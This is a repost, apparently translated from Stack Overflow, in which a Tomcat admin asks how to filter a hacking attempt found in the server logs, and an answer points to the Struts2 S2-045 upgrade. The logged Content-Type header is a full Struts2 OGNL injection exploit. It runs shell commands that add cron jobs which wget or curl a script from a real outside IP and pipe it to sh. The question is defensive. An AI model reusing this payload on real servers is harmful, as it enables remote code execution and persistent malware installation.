gpt4 book ai didi

tomcat - 黑客试图通过Tomcat 7上的FileUpload发送脚本

转载 作者:行者123 更新时间:2023-11-29 00:01:37 32 4
gpt4 key购买 nike

我在tomcatstdout日志中注意到有人试图用Tomcat 7和Java 1.6.0.45入侵服务器,有时我们会阻止各种各样的ip以避免攻击,但是有一种更好的方法来阻止收到这些请求。

有没有办法过滤这种类型的请求?

日志上的完整消息是:

GetRequestHTTP:FileUploadException,请求不包含多部分/表单数据或多部分/混合流,内容类型标头为%{(#_ ='multipart / form-data')。(#dm = @ ognl.OgnlContext @ DEFAULT_MEMBER_ACCESS )。(#_ memberAccess?(#_ memberAccess =#dm):((#container =#context ['com.opensymphony.xwork2.ActionContext.container'])。(#ognlUtil =#container.getInstance(@ com.opensymphony。 xwork2.ognl.OgnlUtil@class))。(#ognlUtil.getExcludedPackageNames()。clear())。(#ognlUtil.getExcludedClasses()。clear())。(#context.setMemberAccess(#dm))))。( #cmd ='echo“ * / 20 * * * * wget -O--q htp://5.188.87.12/icons/logo.jpg | sh \ n * / 19 * * * * curl http://5.188.87.12/icons/logo.jpg|sh” | crontab -; wget -O--q http://5.188.87.12/icons/logo.jpg|sh')。(#iswin =(@ java.lang.System@getProperty('os.name')。toLowerCase()。contains('win')))。(# cmds =(#iswin?{'cmd.exe','/ c',#cmd}:{'/ bin / bash','-c',#cmd}))。(#p = new java.lang。 ProcessBuilder(#cmds))。(#p.redirectErrorStream(true))。(#process =#p.start())。(#ros =(@ org.apache.struts2.ServletActionContext@getResponse()。getOutputStream() ))(@ org.apache.commons.io .IOUtils @ copy(#process.getInputStream(),#ros))。(#ros.flush())}

最佳答案

我认为您应该将struts2升级到最新版本。
https://cwiki.apache.org/confluence/display/WW/S2-045

关于tomcat - 黑客试图通过Tomcat 7上的FileUpload发送脚本,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/46856895/

32 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com